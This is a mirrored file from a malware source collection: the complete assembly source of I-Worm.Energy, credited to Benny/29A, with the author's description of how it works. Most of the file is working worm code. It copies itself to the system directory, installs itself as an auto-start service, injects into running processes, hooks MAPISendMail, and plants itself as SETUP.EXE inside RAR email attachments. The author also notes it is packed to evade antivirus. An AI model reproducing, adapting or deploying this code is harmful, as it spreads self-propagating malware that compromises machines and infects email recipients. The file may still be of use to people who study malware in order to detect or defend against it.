mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
728 lines
16 KiB
NASM
728 lines
16 KiB
NASM
|
|
COMMENT #
|
|
|
|
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
³ I-Worm.Energy ³
|
|
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
³ by Benny/29A ³
|
|
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|
|
|
hey all...
|
|
ÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
it was one b0ring sunday, when I decided to code some small and kewl virus...
|
|
I was tired from coding large projectz (HIV, XTC)... I wanted to code one
|
|
worm with some nice ideaz, like the Win2k.Stream.
|
|
|
|
and here it is. after some meditationz, full of experiencez from psychedelics
|
|
I decided to call this worm "Energy"... it is very small worm, spreading via
|
|
RAR filez. it can parse all processes, hook there MAPISendMail API procedure
|
|
and infect all attached RAR filez in a message by dropping itself to there.
|
|
very similar technique of the process'es address space manipulationz is
|
|
described in my article "Multi-process residency" and Win32.HIV virus. surely
|
|
it can't work on Win95/98 systemz. it worx on Windows 2000 OS, and (perhaps)
|
|
also on earlier versionz of Windows NT - but I don't know, I haven't tested it.
|
|
|
|
it can stay resident in memory as a service, by standard API callz, valid only
|
|
in NT systemz. while infecting the RAR archivez it addz itself to there under
|
|
the "SETUP.EXE" filename, containing also the standard setup icon. I tried to
|
|
optimize the source a bit... I know the worm is not super-small, but I it is
|
|
resident heavilly armoured very effective tiny mail-spreading worm.
|
|
|
|
|
|
the scheme of execution:
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
after execution:
|
|
- anti-* stuff
|
|
- if initialized by SCM, run as a service process
|
|
- copy worm to system directory as "ENERGY.EXE"
|
|
- register worm as service process and run it everytime the OS will start
|
|
- enum processes, find MAPI32.dll there and hook MAPSendMail (using many
|
|
trics)
|
|
- wait one minute and again
|
|
|
|
hook_procedure:
|
|
- parse embedded filez and search for RAR filez.
|
|
- infect them by worm file: SETUP.EXE, mark as read-only (already-infected
|
|
mark).
|
|
|
|
|
|
the worm is encrypted/compressed by "tElock, version 0.51", one very nice
|
|
utility for armouring executable filez. this protector containz many nice
|
|
anti-* featurez. that's why I decided to use it. and also becoz I think guyz at
|
|
AVP can't handle this one.
|
|
|
|
it is possible that worm containz some bugz. yeah, but I don't care... I'm glad
|
|
I was able to finish it in 2 dayz and that it was not b0ring. I had a fun.
|
|
|
|
|
|
|
|
If you would like to consult anything with me, feel free to contact me...
|
|
|
|
|
|
|
|
(c) 14th November 2000 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
Czech Republic ³ Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
@ benny_29a@privacyx.com ³
|
|
@ http://benny29a.cjb.net ³
|
|
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|
#
|
|
|
|
|
|
.586p
|
|
.model flat ;blablabla
|
|
|
|
extrn GetLastError:PROC ;needed APIz
|
|
extrn EnumProcesses:PROC
|
|
extrn OpenProcess:PROC
|
|
extrn VirtualProtect:PROC
|
|
extrn VirtualAllocEx:PROC
|
|
extrn VirtualFreeEx:PROC
|
|
extrn CloseHandle:PROC
|
|
extrn CreateRemoteThread:PROC
|
|
extrn WriteProcessMemory:PROC
|
|
extrn Sleep:PROC
|
|
extrn WaitForSingleObject:PROC
|
|
extrn GetModuleHandleA:PROC
|
|
extrn GetProcAddress:PROC
|
|
extrn CreateFileA:PROC
|
|
extrn WriteFile:PROC
|
|
extrn GetModuleFileNameA:PROC
|
|
extrn GetFileSize:PROC
|
|
extrn ReadFile:PROC
|
|
extrn VirtualFree:PROC
|
|
extrn VirtualAlloc:PROC
|
|
extrn SetFilePointer:PROC
|
|
extrn SetFileAttributesA:PROC
|
|
extrn OpenMutexA:PROC
|
|
extrn ExitThread:PROC
|
|
extrn GetSystemDirectoryA:PROC
|
|
extrn CopyFileA:PROC
|
|
|
|
|
|
;extrn OpenServiceA:PROC
|
|
;extrn DeleteService:PROC ;***debug only!
|
|
extrn OpenSCManagerA:PROC
|
|
extrn CreateServiceA:PROC
|
|
extrn CloseServiceHandle:PROC
|
|
extrn StartServiceCtrlDispatcherA:PROC
|
|
extrn RegisterServiceCtrlHandlerA:PROC
|
|
extrn SetServiceStatus:PROC
|
|
|
|
|
|
include useful.inc ;include filez
|
|
include win32api.inc
|
|
|
|
|
|
PROC_COUNT equ 40*4 ;number of processes
|
|
|
|
|
|
.data
|
|
db ? ;some data
|
|
|
|
.code
|
|
Start: ;worm code starts here
|
|
pushad
|
|
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
|
|
|
e_name: @pushsz 'EnErGy'
|
|
push 0
|
|
push 1
|
|
call OpenMutexA ;check if mutex is
|
|
test eax,eax ;created, if not,
|
|
je end_seh ;we are prob. debugged
|
|
push eax
|
|
call CloseHandle ;close its handle
|
|
|
|
jmp SVCRegister ;logging as a service
|
|
|
|
e_svc: push 256
|
|
mov esi, offset worm_name
|
|
push esi
|
|
push 0
|
|
call GetModuleFileNameA ;get path+filename of
|
|
;the worm
|
|
mov edi,offset sys_dir
|
|
push edi
|
|
push 256
|
|
push edi
|
|
call GetSystemDirectoryA ;get windowz system dir.
|
|
add edi,eax
|
|
mov al,'\'
|
|
stosb
|
|
mov eax,'rene'
|
|
stosd
|
|
mov eax,'e.yg'
|
|
stosd
|
|
mov eax,'ex'
|
|
stosd ;construct path+filename
|
|
|
|
pop edi
|
|
push 0
|
|
push edi
|
|
push esi
|
|
call CopyFileA ;copy worm to sys. dir.
|
|
|
|
call SVCCreate ;register as a service
|
|
|
|
push api_num
|
|
pop ecx
|
|
call @api_table
|
|
dd offset GetModuleHandleA ;adressez of APIz
|
|
dd offset GetProcAddress
|
|
dd offset VirtualProtect
|
|
dd offset CreateFileA
|
|
dd offset CloseHandle
|
|
dd offset WriteFile
|
|
dd offset GetFileSize
|
|
dd offset ReadFile
|
|
dd offset VirtualFree
|
|
dd offset VirtualAlloc
|
|
dd offset SetFilePointer
|
|
dd offset SetFileAttributesA
|
|
api_num = 12
|
|
@api_table:
|
|
pop ebx
|
|
|
|
call @api_dest ;addressez of variablez
|
|
dd offset _gmha ;that will hold APIz
|
|
dd offset _gpa
|
|
dd offset _vp
|
|
dd offset _cfa
|
|
dd offset _ch
|
|
dd offset _wf
|
|
dd offset _gfs
|
|
dd offset _rf
|
|
dd offset _vf
|
|
dd offset _va
|
|
dd offset _sfp
|
|
dd offset _sfaa
|
|
@api_dest:
|
|
pop esi
|
|
|
|
get_apiz:
|
|
dec ecx ;decrement counter
|
|
mov eax,[ebx+ecx*4]
|
|
mov eax,[eax+2]
|
|
mov eax,[eax]
|
|
mov edx,[esi+ecx*4]
|
|
mov [edx],eax ;store API address
|
|
test ecx,ecx
|
|
jne get_apiz
|
|
|
|
worm_loop:
|
|
mov ebx,offset tmp
|
|
push ebx
|
|
push PROC_COUNT
|
|
mov esi,offset proc_dump
|
|
push esi
|
|
call EnumProcesses ;enum all processez
|
|
dec eax
|
|
jne end_seh
|
|
|
|
mov ecx,[ebx] ;try this PID
|
|
p_check:lodsd
|
|
call proc_infect ;try to infect it
|
|
add ecx,-3
|
|
loop p_check ;try next PID
|
|
|
|
worm_wait:
|
|
push 60000
|
|
call Sleep ;wait one minute
|
|
jmp worm_loop ;and try again.
|
|
|
|
|
|
;infect processez
|
|
proc_infect Proc
|
|
pushad
|
|
push eax
|
|
push 0
|
|
push 2 or 8 or 10h or 20h or 400h
|
|
call OpenProcess ;get handle to process
|
|
xchg eax,ecx
|
|
jecxz end_proc_infect
|
|
mov ebx,ecx
|
|
|
|
push PAGE_READWRITE
|
|
push MEM_RESERVE or MEM_COMMIT
|
|
push virtual_end-Start
|
|
push 0
|
|
push ebx
|
|
call VirtualAllocEx ;allocate there memory
|
|
xchg eax,ecx ;for worm
|
|
jecxz end_proc_infect2
|
|
mov esi,ecx
|
|
|
|
push 0
|
|
push virtual_end-Start
|
|
push offset Start
|
|
push esi
|
|
push ebx
|
|
call WriteProcessMemory ;copy there worm body
|
|
dec eax
|
|
jne end_proc_infect3
|
|
|
|
lea edx,[esi+offset ThreadEntry-offset Start]
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push edx
|
|
push eax
|
|
push eax
|
|
push ebx
|
|
call CreateRemoteThread ;create thread there
|
|
xchg eax,ecx
|
|
jecxz end_proc_infect3
|
|
push ecx
|
|
|
|
push -1
|
|
push ecx
|
|
call WaitForSingleObject ;wait for its termination
|
|
call CloseHandle ;and close its handle
|
|
jmp end_proc_infect2 ;and quit
|
|
|
|
end_proc_infect3:
|
|
push MEM_RELEASE
|
|
push 0
|
|
push esi
|
|
push ebx
|
|
call VirtualFreeEx ;release memory if failed
|
|
|
|
end_proc_infect2:
|
|
push ebx
|
|
call CloseHandle ;close handle to process
|
|
end_proc_infect:
|
|
popad
|
|
ret ;and quit
|
|
proc_infect EndP
|
|
|
|
|
|
;remote thread procedure
|
|
ThreadEntry Proc
|
|
pushad
|
|
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
|
call gdelta
|
|
gdelta: pop ebp ;get delta offset
|
|
|
|
@pushsz 'MAPI32.dll'
|
|
mov eax,12345678h
|
|
_gmha = dword ptr $-4
|
|
call eax ;get address of MAPI32.dll
|
|
xchg eax,ecx
|
|
jecxz end_seh ;quit if not loaded
|
|
|
|
@pushsz 'MAPISendMail'
|
|
push ecx
|
|
mov eax,12345678h
|
|
_gpa = dword ptr $-4
|
|
call eax ;get address of
|
|
xchg eax,ecx ;MAPISendMail API
|
|
jecxz end_seh
|
|
mov esi,ecx ;to ESI
|
|
|
|
lea eax,[ebp + tmp - gdelta]
|
|
push eax
|
|
push PAGE_READWRITE
|
|
push 5
|
|
push esi
|
|
mov eax,12345678h
|
|
_vp = dword ptr $-4
|
|
call eax ;release page protection
|
|
xchg eax,ecx
|
|
jecxz end_seh
|
|
|
|
call hook_api ;hook the API
|
|
|
|
end_seh:@SEH_RemoveFrame ;remove SEH frame
|
|
popad ;and quit
|
|
ret
|
|
|
|
;proc for API hooking
|
|
hook_api:
|
|
mov [ebp + old_MAPI_addr - gdelta],esi
|
|
push esi
|
|
lea edi,[ebp + old_MAPI_api - gdelta]
|
|
movsd
|
|
movsb ;save first bytez of API
|
|
pop edi
|
|
mov ebx,edi
|
|
|
|
lea eax,[ebp + MAPI_hooker - gdelta]
|
|
sub ebx,eax
|
|
neg ebx
|
|
add ebx,-5
|
|
mov al,0E9h
|
|
stosb
|
|
xchg eax,ebx
|
|
stosd ;overwrite by JMP <worm_api>
|
|
ret
|
|
|
|
;the API hooker
|
|
MAPI_hooker:
|
|
push 12345678h
|
|
old_MAPI_addr = dword ptr $-4 ;save the address of API
|
|
|
|
pushad
|
|
mov edi,[esp.cPushad] ;get ptr to message
|
|
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
|
push edi
|
|
|
|
mov ebx,[esp.cPushad.28]
|
|
mov ecx,[ebx+40] ;number of attachmentz
|
|
mov ebx,[ebx+44] ;ptr to file fieldz
|
|
|
|
f_parse:mov esi,[ebx+12]
|
|
lea edi,[ebp + arc_buffer - gdelta]
|
|
push edi
|
|
@copysz
|
|
dec edi
|
|
cmp byte ptr [edi-1],'\'
|
|
je over_slash
|
|
mov al,'\'
|
|
stosb
|
|
over_slash:
|
|
mov esi,[ebx+16]
|
|
@copysz
|
|
or [esi-5],20202020h ;lower case
|
|
cmp [esi-5],'rar.'
|
|
pop esi ;create path+filename
|
|
jne o_r ;quit if not RAR file
|
|
call infect_archive ;try to infect this file
|
|
o_r: sub ebx,-24
|
|
loop f_parse ;try another file in msg
|
|
|
|
pop edi
|
|
call @m_res
|
|
old_MAPI_api db 5 dup (90h)
|
|
@m_res: pop esi
|
|
movsd
|
|
movsb ;remove the API hooker
|
|
jmp end_seh ;and quit
|
|
|
|
|
|
;procedure for RAR archive infecting
|
|
infect_archive:
|
|
pushad
|
|
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
|
call gd
|
|
gd: pop ebp ;get delta offset
|
|
|
|
lea eax,[ebp + worm_name - gd] ;get worm filename
|
|
push 0
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push OPEN_EXISTING
|
|
push 0
|
|
push 0
|
|
push GENERIC_READ
|
|
push eax
|
|
call [ebp + _cfa - gd] ;open worm file
|
|
inc eax
|
|
je end_seh
|
|
dec eax
|
|
mov [ebp + hFile - gd],eax ;save handle
|
|
|
|
push 0
|
|
push eax
|
|
mov eax,12345678h
|
|
_gfs = dword ptr $-4
|
|
call eax ;get its size
|
|
push eax
|
|
|
|
push PAGE_READWRITE
|
|
push MEM_RESERVE or MEM_COMMIT
|
|
push eax
|
|
push 0
|
|
mov eax,12345678h
|
|
_va = dword ptr $-4
|
|
call eax ;allocate enough memory
|
|
test eax,eax
|
|
pop edx
|
|
je end_file
|
|
xchg eax,ebx
|
|
|
|
push edx
|
|
push 0
|
|
lea eax,[ebp + tmp - gd]
|
|
push eax
|
|
push edx
|
|
push ebx
|
|
push dword ptr [ebp + hFile - gd]
|
|
mov eax,12345678h
|
|
_rf = dword ptr $-4 ;and copy there worm
|
|
call eax
|
|
call close_file ;close handle to file
|
|
pop edi
|
|
|
|
pushad
|
|
mov esi,ebx
|
|
call CRC32 ;calculate CRC32 of
|
|
mov [ebp + RARCRC32 - gd],eax ;the worm file
|
|
popad
|
|
|
|
push 0
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push OPEN_EXISTING
|
|
push 0
|
|
push 0
|
|
push GENERIC_READ or GENERIC_WRITE
|
|
push esi
|
|
mov eax,12345678h
|
|
_cfa = dword ptr $-4
|
|
call eax ;open the archive
|
|
inc eax
|
|
je end_file2
|
|
dec eax
|
|
mov [ebp + hFile - gd],eax ;save its handle
|
|
|
|
push 2
|
|
push 0
|
|
push 0
|
|
push eax
|
|
mov eax,12345678h
|
|
_sfp = dword ptr $-4
|
|
call eax ;go to EOF
|
|
|
|
pushad
|
|
lea esi,[ebp + RARHeaderCRC+2 - gd]
|
|
push end_RAR-RARHeader-2
|
|
pop edi
|
|
call CRC32 ;calculate CRC32 of
|
|
mov [ebp + RARHeaderCRC - gd],ax ;the RAR file header
|
|
popad ;and save it
|
|
|
|
push 0
|
|
lea eax,[ebp + tmp - gd]
|
|
push eax
|
|
push end_RAR-RARHeader
|
|
call end_RAR
|
|
RARHeader: ;No comment ;)
|
|
RARHeaderCRC dw 0
|
|
RARType db 74h
|
|
RARFlags dw 8000h
|
|
RARHSize dw end_RAR-RARHeader
|
|
RARCompressed dd 2000h
|
|
RAROriginal dd 2000h
|
|
RAROS db 0
|
|
RARCRC32 dd 0
|
|
RARFileDateTime dd 12345678h
|
|
RARNeedVer db 14h
|
|
RARMethod db 30h
|
|
RARFNameSize dw end_RAR-RARName
|
|
RARAttrib dd 0
|
|
RARName db 'SETUP.EXE'
|
|
end_RAR:
|
|
push dword ptr [ebp + hFile - gd]
|
|
mov eax,12345678h
|
|
_wf = dword ptr $-4
|
|
call eax ;write RAR file header
|
|
|
|
push 0
|
|
lea eax,[ebp + tmp - gd]
|
|
push eax
|
|
push edi
|
|
push ebx
|
|
push dword ptr [ebp + hFile - gd]
|
|
call [ebp + _wf - gd] ;write the worm
|
|
|
|
end_file2:
|
|
push MEM_RELEASE
|
|
push 0
|
|
push ebx
|
|
mov eax,12345678h
|
|
_vf = dword ptr $-4
|
|
call eax ;release the memory
|
|
end_file:
|
|
call close_file ;close the archive
|
|
|
|
push FILE_ATTRIBUTE_READONLY
|
|
push esi
|
|
mov eax,12345678h
|
|
_sfaa = dword ptr $-4
|
|
call eax ;set READ-ONLY attribute
|
|
jmp end_seh ;and quit
|
|
|
|
close_file:
|
|
push 12345678h ;handle...
|
|
hFile = dword ptr $-4
|
|
mov eax,12345678h
|
|
_ch = dword ptr $-4
|
|
call eax ;close file handle
|
|
ret
|
|
|
|
CRC32 Proc
|
|
push ecx ;procedure for
|
|
push edx ;calculating CRC32s
|
|
push ebx ;at run-time
|
|
xor ecx,ecx
|
|
dec ecx
|
|
mov edx,ecx
|
|
NextByteCRC:
|
|
xor eax,eax
|
|
xor ebx,ebx
|
|
lodsb
|
|
xor al,cl
|
|
mov cl,ch
|
|
mov ch,dl
|
|
mov dl,dh
|
|
mov dh,8
|
|
NextBitCRC:
|
|
shr bx,1
|
|
rcr ax,1
|
|
jnc NoCRC
|
|
xor ax,08320h
|
|
xor bx,0EDB8h
|
|
NoCRC: dec dh
|
|
jnz NextBitCRC
|
|
xor ecx,eax
|
|
xor edx,ebx
|
|
dec edi
|
|
jne NextByteCRC
|
|
not edx
|
|
not ecx
|
|
pop ebx
|
|
mov eax,edx
|
|
rol eax,16
|
|
mov ax,cx
|
|
pop edx
|
|
pop ecx
|
|
SVCHandler:
|
|
ret
|
|
CRC32 EndP
|
|
ThreadEntry EndP
|
|
|
|
|
|
;log on to SCM
|
|
SVCRegister Proc
|
|
call _dt
|
|
dd offset e_name+5
|
|
dd offset service_start
|
|
dd 0
|
|
dd 0
|
|
_dt: call StartServiceCtrlDispatcherA ;start service dispatcher
|
|
dec eax
|
|
jne e_svc ;quit if error (no service
|
|
;requestz)
|
|
push 0
|
|
call ExitThread ;terminate this thread
|
|
|
|
service_start: ;execution goes here...
|
|
pushad
|
|
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
|
|
|
push offset SVCHandler
|
|
push offset e_name+5
|
|
call RegisterServiceCtrlHandlerA ;register service control
|
|
test eax,eax ;handler
|
|
je e_svc ;quit if error
|
|
push eax
|
|
|
|
call _ss
|
|
ss_: dd 10h or 20h
|
|
dd 4
|
|
dd 0
|
|
dd 0
|
|
dd 0
|
|
dd 0
|
|
dd 0
|
|
_ss: push eax
|
|
call SetServiceStatus ;set service status
|
|
call CloseServiceHandle ;close service handle
|
|
jmp e_svc ;and quit
|
|
SVCRegister EndP
|
|
|
|
|
|
;create item at SCM
|
|
SVCCreate Proc
|
|
push 000F0000h or 2
|
|
push 0
|
|
push 0
|
|
call OpenSCManagerA ;get handle to SCM
|
|
test eax,eax
|
|
je e_scm0
|
|
xchg eax,esi
|
|
|
|
; push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
|
|
; push offset e_name+5
|
|
; push esi
|
|
; call OpenServiceA ;*** debug!
|
|
;
|
|
; push eax
|
|
; push eax
|
|
; call DeleteService ;*** debug!
|
|
; call CloseServiceHandle ;*** debug!
|
|
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push offset sys_dir
|
|
push eax
|
|
push 2
|
|
push 10h
|
|
push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
|
|
push offset e_name+5
|
|
push dword ptr [esp]
|
|
push esi
|
|
call CreateServiceA ;create service item
|
|
test eax,eax ;at SCM
|
|
je e_scm1 ;quit if error
|
|
|
|
push eax
|
|
call CloseServiceHandle ;close service handlez
|
|
e_scm1: push esi
|
|
call CloseServiceHandle ;...
|
|
e_scm0: ret ;and quit
|
|
SVCCreate EndP
|
|
|
|
|
|
signature db 0,'[I-Worm.Energy] by Benny/29A',0
|
|
;signature
|
|
proc_dump db PROC_COUNT dup (?) ;buffer for PIDz
|
|
worm_name db 256 dup (?) ;buffer for filename
|
|
tmp dd ? ;temporary variable
|
|
sys_dir db 256 dup (?) ;buffer for system dir.
|
|
arc_buffer db 256 dup (?) ;buffer for archive
|
|
;filename
|
|
virtual_end: ;...end of virus.
|
|
ends
|
|
end Start ;.
|
|
|
|
|
|
;bonus:
|
|
;here are lyrics from "Imagine", one very nice song from John Lennon.
|
|
|
|
; Imagine there's no heaven,
|
|
; It's easy if you try,
|
|
; No hell below us,
|
|
; Above us only sky,
|
|
; Imagine all the people
|
|
; living for today...
|
|
;
|
|
; Imagine there's no countries,
|
|
; It isn't hard to do,
|
|
; Nothing to kill or die for,
|
|
; No religion too,
|
|
; Imagine all the people
|
|
; living life in peace...
|
|
;
|
|
; You may say I'm a dreamer,
|
|
; but I'm not the only one,
|
|
; I hope some day you'll join us,
|
|
; And the world will live as one.
|
|
;
|
|
; Imagine no possesions,
|
|
; I wonder if you can,
|
|
; No need for greed or hunger,
|
|
; A brotherhood of man,
|
|
; Imagine all the people
|
|
; Sharing all the world...
|
|
;
|
|
; You may say I'm a dreamer,
|
|
; but I'm not the only one,
|
|
; I hope some day you'll join us,
|
|
; And the world will live as one.
|